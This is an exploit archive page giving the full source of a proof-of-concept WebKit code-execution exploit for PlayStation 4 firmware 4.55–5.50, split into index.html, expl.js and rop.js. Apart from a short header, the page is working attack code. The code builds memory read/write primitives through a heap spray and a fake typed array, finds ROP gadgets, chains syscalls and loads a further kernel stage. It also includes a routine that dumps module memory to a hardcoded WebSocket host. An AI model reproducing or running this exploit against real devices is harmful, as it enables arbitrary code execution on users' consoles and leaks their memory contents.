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Sony Playstation 4 (PS4) WebKit Code Execution

Sony Playstation 4 (PS4) WebKit Code Execution
Posted Mar 13, 2018
Authored by qwertyoruiop

Sony Playstation 4 (PS4) versions 4.55 up to 5.50 WebKit code execution proof of concept exploit.

tags | exploit, code execution, proof of concept
MD5 | be722966f2a039f227ac24c90436ab4e

Sony Playstation 4 (PS4) WebKit Code Execution

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<--- index.html --->
<html>
<body>
<script>
window.didload = 0;
window.didpost = 0;
window.onload = function() {
window.didload = 1;
if (window.didpost == 1)
window.stage2();
}
window.postExpl = function() {
window.didpost = 1;
if (window.didload == 1)
window.stage2();
}
</script>
<script src="./expl.js"></script>
<script src="./rop.js"></script>
<pre id="console"></pre>
</body>
</html>
<--- /index.html --->


<--- expl.js --->
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

for (var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));

return text;
};

var instancespr = [];

for (var i = 0; i < 4096; i++) {
instancespr[i] = new Uint32Array(1);
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
}

var _dview;

function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var dgc = function() {
for (var i = 0; i < 0x100; i++) {
new ArrayBuffer(0x100000);
}
}

function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);

this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo < this.low) {
new_hi++;
}

this.hi = new_hi;
this.low = new_lo;
}

this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo < this.low) {
new_hi++;
}

return new int64(new_lo, new_hi);
}

this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}

return new int64(new_lo, new_hi);
}

this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);

if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}

this.hi = new_hi;
this.low = new_lo;
}

this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}

this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}

this.toString = function(val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);

if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)

return hi_str + lo_str;
}

this.toPacked = function() {
return {
hi: this.hi,
low: this.low
};
}

this.setPacked = function(pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}

return this;
}

function zeroFill(number, width) {
width -= number.toString().length;

if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}

return number + ""; // always return a string
}

var nogc = [];

var fail = function() {
alert.apply(null, arguments);
throw "fail";
}

// Target JSObject for overlap
var tgt = {
a: 0,
b: 0,
c: 0,
d: 0
}

var y = new ImageData(1, 0x4000)
postMessage("", "*", [y.data.buffer]);

// Spray properties to ensure object is fastmalloc()'d and can be found easily later
var props = {};

for (var i = 0;
(i < (0x4000 / 2));) {
props[i++] = {
value: 0x42424242
};
props[i++] = {
value: tgt
};
}

var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;

while (foundLeak == undefined && maxCount > 0) {
maxCount--;

history.pushState(y, "");

Object.defineProperties({}, props);

var leak = new Uint32Array(history.state.data.buffer);

for (var i = 0; i < leak.length - 6; i++) {
if (
leak[i] == 0x42424242 &&
leak[i + 0x1] == 0xFFFF0000 &&
leak[i + 0x2] == 0x00000000 &&
leak[i + 0x3] == 0x00000000 &&
leak[i + 0x4] == 0x00000000 &&
leak[i + 0x5] == 0x00000000 &&
leak[i + 0x6] == 0x0000000E &&
leak[i + 0x7] == 0x00000000 &&
leak[i + 0xA] == 0x00000000 &&
leak[i + 0xB] == 0x00000000 &&
leak[i + 0xC] == 0x00000000 &&
leak[i + 0xD] == 0x00000000 &&
leak[i + 0xE] == 0x0000000E &&
leak[i + 0xF] == 0x00000000
) {
foundIndex = i;
foundLeak = leak;
break;
}
}
}

if (!foundLeak) {
failed = true
fail("Failed to find leak!")
}

var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);

Array.prototype.__defineGetter__(100, () => 1);

var f = document.body.appendChild(document.createElement('iframe'));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);

var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];

// Create fake ArrayBufferView
tgt.a = u2d(2048, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;

var c = Array.prototype.concat.call(a, b);
document.body.removeChild(f);
var hax = c[0];
c[0] = 0;

tgt.c = c;

hax[2] = 0;
hax[3] = 0;

Object.defineProperty(Array.prototype, 100, {
get: undefined
});

tgt.c = leakval_helper;
var butterfly = new int64(hax[2], hax[3]);
butterfly.low += 0x10;

tgt.c = leakval_u32;
var lkv_u32_old = new int64(hax[4], hax[5]);
hax[4] = butterfly.low;
hax[5] = butterfly.hi;
// Setup read/write primitive

tgt.c = master;
hax[4] = leakval_u32[0];
hax[5] = leakval_u32[1];

var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
hax[4] = lkv_u32_old.low;
hax[5] = lkv_u32_old.hi;

tgt.c = 0;
hax = 0;

var prim = {
write8: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;

if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},

write4: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;

slave[0] = val;

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},

read8: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;

var rtv = new int64(slave[0], slave[1]);

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

return rtv;
},

read4: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;

var rtv = slave[0];

master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;

return rtv;
},

leakval: function(jsval) {
leakval_helper[0] = jsval;
var rtv = this.read8(butterfly);
this.write8(butterfly, new int64(0x41414141, 0xffff0000));

return rtv;
},

createval: function(jsval) {
this.write8(butterfly, jsval);
var rt = leakval_helper[0];
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rt;
}
};

window.primitives = prim;
if (window.postExpl) window.postExpl();
<--- /expl.js --->


<--- rop.js -->
var p;
var xhr_sync_log = function(str) {
var req = new XMLHttpRequest();
req.open('GET', "log?" + str, false);
try {
req.send();
} catch(e){}
}
var findModuleBaseXHR = function(addr)
{
var addr_ = addr.add32(0); // copy
addr_.low &= 0xFFFFF000;
xhr_sync_log("START: " + addr_);

while (1) {
var vr = p.read4(addr_.add32(0x110-4));
xhr_sync_log("step" + addr_);
addr_.sub32inplace(0x1000);
}
}
var log = function(x) {
document.getElementById("console").innerText += x + "\n";
}
var print = function(string) { // like log but html
document.getElementById("console").innerHTML += string + "\n";
}

var dumpModuleXHR = function(moduleBase) {
var chunk = new ArrayBuffer(0x1000);
var chunk32 = new Uint32Array(chunk);
var chunk8 = new Uint8Array(chunk);
connection = new WebSocket('ws://10.17.0.1:8080');
connection.binaryType = "arraybuffer";
var helo = new Uint32Array(1);
helo[0] = 0x41414141;

var moduleBase_ = moduleBase.add32(0);
connection.onmessage = function() {
try {
for (var i = 0; i < chunk32.length; i++)
{
var val = p.read4(moduleBase_);
chunk32[i] = val;
moduleBase_.add32inplace(4);
}
connection.send(chunk8);
} catch (e) {
print(e);
}
}
}
var get_jmptgt = function(addr)
{
var z=p.read4(addr) & 0xFFFF;
var y=p.read4(addr.add32(2));
if (z != 0x25ff) return 0;

return addr.add32(y+6);

}
var gadgetmap_wk = {
"ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
"pop rsi": [0x5E, 0xC3],
"pop rdi": [0x5F, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rax": [0x58, 0xC3],
"pop rdx": [0x5a, 0xC3],
"pop rcx": [0x59, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rbp": [0x5d, 0xC3],
"pop r8": [0x47, 0x58, 0xC3],
"pop r9": [0x47, 0x59, 0xC3],
"infloop": [0xEB, 0xFE, 0xc3],
"ret": [0xC3],
"mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
"mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
"mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
"mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
};
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
slowpath_jop.reverse();

var gadgets;
window.stage2 = function() {
try {
window.stage2_();
} catch (e) {
print(e);
}
}
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
window.stage2_ = function() {
p = window.prim;
print ("[+] exploit succeeded");
print("webkit exploit result: " + p.leakval(0x41414141));
print ("--- welcome to stage2 ---");
p.leakfunc = function(func)
{
var fptr_store = p.leakval(func);
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
}
gadgetconn = 0;
if (!gadgetcache)
gadgetconn = new WebSocket('ws://10.17.0.1:8080');

var parseFloatStore = p.leakfunc(parseFloat);
var parseFloatPtr = p.read8(parseFloatStore);
print("parseFloat at: 0x" + parseFloatPtr);
var webKitBase = p.read8(parseFloatStore);
window.webKitBase = webKitBase;

webKitBase.low &= 0xfffff000;
webKitBase.sub32inplace(0x5b7000-0x1C000);

print("libwebkit base at: 0x" + webKitBase);

var o2wk = function(o)
{
return webKitBase.add32(o);
}

gadgets = {
"stack_chk_fail": o2wk(0xc8),
"memset": o2wk(0x228),
"setjmp": o2wk(0x14f8)
};
/*
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
libSceLibcInternalBase.low &= ~0x3FFF;
libSceLibcInternalBase.sub32inplace(0x20000);
print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
window.libSceLibcInternalBase = libSceLibcInternalBase;
*/
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
window.libKernelBase = libKernelBase;
libKernelBase.low &= 0xfffff000;
libKernelBase.sub32inplace(0x12000);
print("libkernel_web base at: 0x" + libKernelBase);


var o2lk = function(o)
{
return libKernelBase.add32(o);
}
window.o2lk = o2lk;

var wkview = new Uint8Array(0x1000);
var wkstr = p.leakval(wkview).add32(0x10);
var orig_wkview_buf = p.read8(wkstr);

p.write8(wkstr, webKitBase);
p.write4(wkstr.add32(8), 0x367c000);

var gadgets_to_find = 0;
var gadgetnames = [];
for (var gadgetname in gadgetmap_wk) {
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
gadgets_to_find++;
gadgetnames.push(gadgetname);
gadgetmap_wk[gadgetname].reverse();
}
}
log("finding gadgets");

gadgets_to_find++; // slowpath_jop

var findgadget = function(donecb) {
if (gadgetcache)
{
gadgets_to_find=0;
slowpath_jop=0;
log("using cached gadgets");

for (var gadgetname in gadgetcache) {
if (gadgetcache.hasOwnProperty(gadgetname)) {
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
}
}

} else {
for (var i=0; i < wkview.length; i++)
{
if (wkview[i] == 0xc3)
{
for (var nl=0; nl < gadgetnames.length; nl++)
{
var found = 1;
if (!gadgetnames[nl]) continue;
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
{
if (gadgetbytes[compareidx] != wkview[i - compareidx]){
found = 0;
break;
}
}
if (!found) continue;
gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
delete gadgetnames[nl];
gadgets_to_find--;
}
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
{
var found = 1;
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
{
if (slowpath_jop[compareidx] != wkview[i - compareidx])
{
found = 0;
break;
}
}
if (!found) continue;
gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
gadgetoffs["jop"] = i - slowpath_jop.length + 1;
gadgets_to_find--;
slowpath_jop = 0;
}

if (!gadgets_to_find) break;
}
}
if (!gadgets_to_find && !slowpath_jop) {
log("found gadgets");
if (gadgetconn)
gadgetconn.onopen = function(e){
gadgetconn.send(JSON.stringify(gadgetoffs));
}
setTimeout(donecb, 50);
} else {
log("missing gadgets: ");
for (var nl in gadgetnames) {
log(" - " + gadgetnames[nl]);
}
if(slowpath_jop) log(" - jop gadget");
}
}
findgadget(function(){});
var hold1;
var hold2;
var holdz;
var holdz1;

while (1)
{
hold1 = {a:0, b:0, c:0, d:0};
hold2 = {a:0, b:0, c:0, d:0};
holdz1 = p.leakval(hold2);
holdz = p.leakval(hold1);
if (holdz.low - 0x30 == holdz1.low) break;
}

var pushframe = [];
pushframe.length = 0x80;
var funcbuf;


var launch_chain = function(chain)
{

var stackPointer = 0;
var stackCookie = 0;
var orig_reenter_rip = 0;

var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
stackCookie = p.read8(stackPointer.add32(8));
var returnToFrame = stackPointer;

var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);

if (chain.runtime) returnToFrame=chain.runtime(stackPointer);

chain.push(gadgets["pop rsp"]); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;

p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
}}};

var funcbuf32 = new Uint32Array(0x100);
nogc.push(funcbuf32);
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));

p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
p.write8(funcbuf.add32(0x80), gadgets["jop"]);
p.write8(funcbuf,funcbuf);
p.write8(parseFloatStore, gadgets["jop"]);
var orig_hold = p.read8(holdz1);
var orig_hold48 = p.read8(holdz1.add32(0x48));

p.write8(holdz1, funcbuf.add32(0x50));
p.write8(holdz1.add32(0x48), funcbuf);
parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
p.write8(holdz1, orig_hold);
p.write8(holdz1.add32(0x48), orig_hold48);

stackPointer = p.read8(funcbuf.add32(0x10));
rtv=Array.prototype.splice.apply(reenter_help);
return p.leakval(rtv);
}


gadgets = gadgets;
p.loadchain = launch_chain;
window.RopChain = function () {
this.ropframe = new Uint32Array(0x10000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0x1000/8; i++)
{
p.write8(this.ropframeptr.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(where); // where
this.push(gadgets["pop rsi"]); // pop rsi
this.push(what); // what
this.push(gadgets["mov [rdi], rsi"]); // perform write
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(rdi); // what
this.push(gadgets["pop rsi"]); // pop rsi
this.push(rsi); // what
this.push(gadgets["pop rdx"]); // pop rdx
this.push(rdx); // what
this.push(gadgets["pop rcx"]); // pop r10
this.push(rcx); // what
this.push(gadgets["pop r8"]); // pop r8
this.push(r8); // what
this.push(gadgets["pop r9"]); // pop r9
this.push(r9); // what
this.push(rip); // jmp
return this;
}

this.run = function() {
var retv = p.loadchain(this, this.notimes);
this.clear();
return retv;
}

return this;
};

var RopChain = window.RopChain();
window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}

function swapkeyval(json){
var ret = {};
for(var key in json){
if (json.hasOwnProperty(key)) {
ret[json[key]] = key;
}
}
return ret;
}

window.nameforsyscall = swapkeyval(window.syscallnames);

window.syscalls = {};

log("--- welcome to stage3 ---");

var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);

p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000); // high enough lel

var countbytes;
for (var i=0; i < 0x40000; i++)
{
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
{
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);

var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
{
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
}
}
var chain = new window.RopChain;
var returnvalue;
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
chain.clear();

chain.notimes = this.next_notime;
this.next_notime = 1;

chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);

chain.push(window.gadgets["pop rdi"]); // pop rdi
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax

chain.push(window.gadgets["pop rax"]); // pop rax
chain.push(p.leakval(0x41414242)); // where

if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
}
p.fcall = function()
{
var rv=p.fcall_.apply(this,arguments);
return returnvalue;
}
p.readstr = function(addr){
var addr_ = addr.add32(0); // copy
var rd = p.read4(addr_);
var buf = "";
while (rd & 0xFF)
{
buf += String.fromCharCode(rd & 0xFF);
addr_.add32inplace(1);
rd = p.read4(addr_);
}
return buf;
}

p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string") {
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number") {
throw new Error("invalid syscall");
}

var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("invalid syscall");
}

return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
}
p.sptr = function(str) {
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
};

log("loaded sycalls");

var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
var pid = p.syscall("getpid");
var uid = p.syscall("getuid");
print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);

sc = document.createElement("script");
sc.src="kern.js";
document.body.appendChild(sc);
}
<--- /rop.js -->


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